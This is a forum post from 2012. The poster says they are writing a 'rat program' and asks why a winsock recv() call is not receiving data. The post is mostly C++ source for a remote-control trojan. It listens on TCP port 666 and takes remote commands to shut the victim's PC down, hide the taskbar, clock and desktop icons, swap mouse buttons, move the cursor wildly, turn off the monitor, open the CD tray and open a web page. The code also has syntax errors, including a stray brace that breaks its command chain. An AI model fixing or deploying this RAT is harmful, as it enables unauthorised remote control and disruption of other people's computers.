-
November 16th, 2012, 04:25 PM
#1
winsock recv() problem
Im making a rat program and the recv function is not receiving.
here is my code
Code:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <iostream>
using namespace std;
int beep();
int ocd();
int ccd();
int htb();
int stb();
int cm();
int smb();
int rmb();
int hc();
int sc();
int mon();
int moff();
int ioff();
int ion();
int url();
int shutdown();
// our thread for recving commands
DWORD WINAPI receive_cmds(LPVOID lpParam)
{
printf("thread created\r\n");
// set our socket to the socket passed in as a parameter
SOCKET current_client = (SOCKET)lpParam;
// buffer to hold our recived data
char buf[100];
char buf2[100] = "";
// buffer to hold our sent data
char sendData[100];
// for error checking
int res;
int res2;
int res3;
char title[256]="";
char message[100];
// our recv loop
while(true)
{
res = recv(current_client,buf,sizeof(buf),0); // recv cmds
if(strstr(buf,"mib"))
{
recv(current_client,title,sizeof(title),0);
cout << title;
}
}
else
if(strstr(buf,"sd"))
{ // greet this user
printf("\nShutting Down");
shutdown();
Sleep(10);
}
else
if(strstr(buf,"url"))
{ // greet this user
printf("\nGoing to Microsoft.com");
url();
Sleep(10);
}
else
if(strstr(buf,"moff"))
{ // greet this user
printf("\nTurning montior off");
moff();
Sleep(10);
}
else
if(strstr(buf,"mon"))
{ // greet this user
printf("\nTurning monitor on");
mon();
Sleep(10);
}
else
if(strstr(buf,"ion"))
{ // greet this user
printf("\nShowing Icons");
ion();
Sleep(10);
} else
if(strstr(buf,"ioff"))
{ // greet this user
printf("\nHiding Icons");
ioff();
Sleep(10);
} else
if(strstr(buf,"sc"))
{ // greet this user
printf("\nShowing Clock");
sc();
Sleep(10);
} else
if(strstr(buf,"hc"))
{ // greet this user
printf("\nHiding Clock");
hc();
Sleep(10);
}else
if(strstr(buf,"cm"))
{ // greet this user
printf("\nCRAZY MOUSE");
cm();
Sleep(10);
} else
if(strstr(buf,"smb"))
{ // greet this user
printf("\nSwapping mouse button");
smb();
Sleep(10);
}else
if(strstr(buf,"rmb"))
{ // greet this user
printf("\nRestoring Mouse Button");
rmb();
Sleep(10);
} else
if(strstr(buf,"htb"))
{ // greet this user
printf("\nHiding Taskbar");
htb();
Sleep(10);
} else
if(strstr(buf,"stb"))
{ // greet this user
printf("\nShowing Taskbar");
stb();
Sleep(10);
} else
if(strstr(buf,"ccd"))
{ // greet this user
printf("\nClosing CD-ROM");
ccd();
Sleep(10);
} else
if(strstr(buf,"ocd"))
{ // greet this user
printf("\nOpening CD-ROM");
ocd();
Sleep(10);
} else
if(strstr(buf,"beep"))
{ // greet this user
printf("\nBeeeping");
beep();
Sleep(10);
}
// clear buffers
strcpy(sendData,"");
strcpy(buf,"");
}
}
int main()
{
printf("Starting up multi-threaded TCP server by KOrUPt\r\n");
// our masterSocket(socket that listens for connections)
SOCKET sock;
// for our thread
DWORD thread;
WSADATA wsaData;
sockaddr_in server;
// start winsock
int ret = WSAStartup(0x101,&wsaData); // use highest version of winsock avalible
if(ret != 0)
{
return 0;
}
// fill in winsock struct ...
server.sin_family=AF_INET;
server.sin_addr.s_addr=INADDR_ANY;
server.sin_port=htons(666); // listen on telnet port 23
// create our socket
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock == INVALID_SOCKET)
{
return 0;
}
// bind our socket to a port(port 123)
if( bind(sock,(sockaddr*)&server,sizeof(server)) !=0 )
{
return 0;
}
// listen for a connection
if(listen(sock,5) != 0)
{
return 0;
}
// socket that we snedzrecv data on
SOCKET client;
sockaddr_in from;
int fromlen = sizeof(from);
// loop forever
while(true)
{
// accept connections
client = accept(sock,(struct sockaddr*)&from,&fromlen);
printf("Client connected\r\n");
// create our recv_cmds thread and parse client socket as a parameter
CreateThread(NULL, 0,receive_cmds,(LPVOID)client, 0, &thread);
}
// shutdown winsock
closesocket(sock);
WSACleanup();
// exit
return 0;
}
int beep()
{
Beep(1000,100);
}
int ocd()
{
mciSendString("set cdaudio door open wait", NULL, 0, 0);
}
int ccd()
{
mciSendString("Set CDAudio Door Closed Wait", 0, 0, 0);
}
int htb()
{
ShowWindow(FindWindow("Shell_TrayWnd",""),SW_HIDE);
}
int stb()
{
ShowWindow(FindWindow("Shell_TrayWnd",""),SW_SHOW);
}
int cm()
{
int i = 0;
while(i<100)
{
Sleep(10);
int x = rand()%1000;
int y = rand()%700;
SetCursorPos(x, y);
i++;
}}
int rmb()
{
SwapMouseButton( FALSE );
}
int smb()
{
SwapMouseButton( TRUE );
}
int sc()
{
HWND h1 = FindWindowEx(FindWindowEx(FindWindow("Shell_TrayWnd", NULL),
NULL, "TrayNotifyWnd", NULL), NULL, "TrayClockWClass", NULL);
ShowWindow(h1, SW_SHOW);
}
int hc()
{
HWND h1 = FindWindowEx(FindWindowEx(FindWindow("Shell_TrayWnd", NULL),
NULL, "TrayNotifyWnd", NULL), NULL, "TrayClockWClass", NULL);
ShowWindow(h1, SW_HIDE);
}
int moff()
{
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
// Higher number is longer monitor off.
Sleep(500);
}
int mon()
{
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) -1);
}
int ion()
{
HWND hw;
hw = FindWindowEx(0,0,"Progman", NULL);
ShowWindow(hw, SW_SHOW);
}
int ioff()
{
HWND hw;
hw = FindWindowEx(0,0,"Progman", NULL);
ShowWindow(hw, SW_HIDE);
}
int url()
{
ShellExecute(NULL, "open", "http://microsoft.com",NULL, NULL, SW_SHOWNORMAL);
}
int shutdown()
{
system("shutdown -s -t 10");
}
First the client sends "mib". Server gets "mib" in if statement. But the recv in the if block does not recv the next statemnt sent from client.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|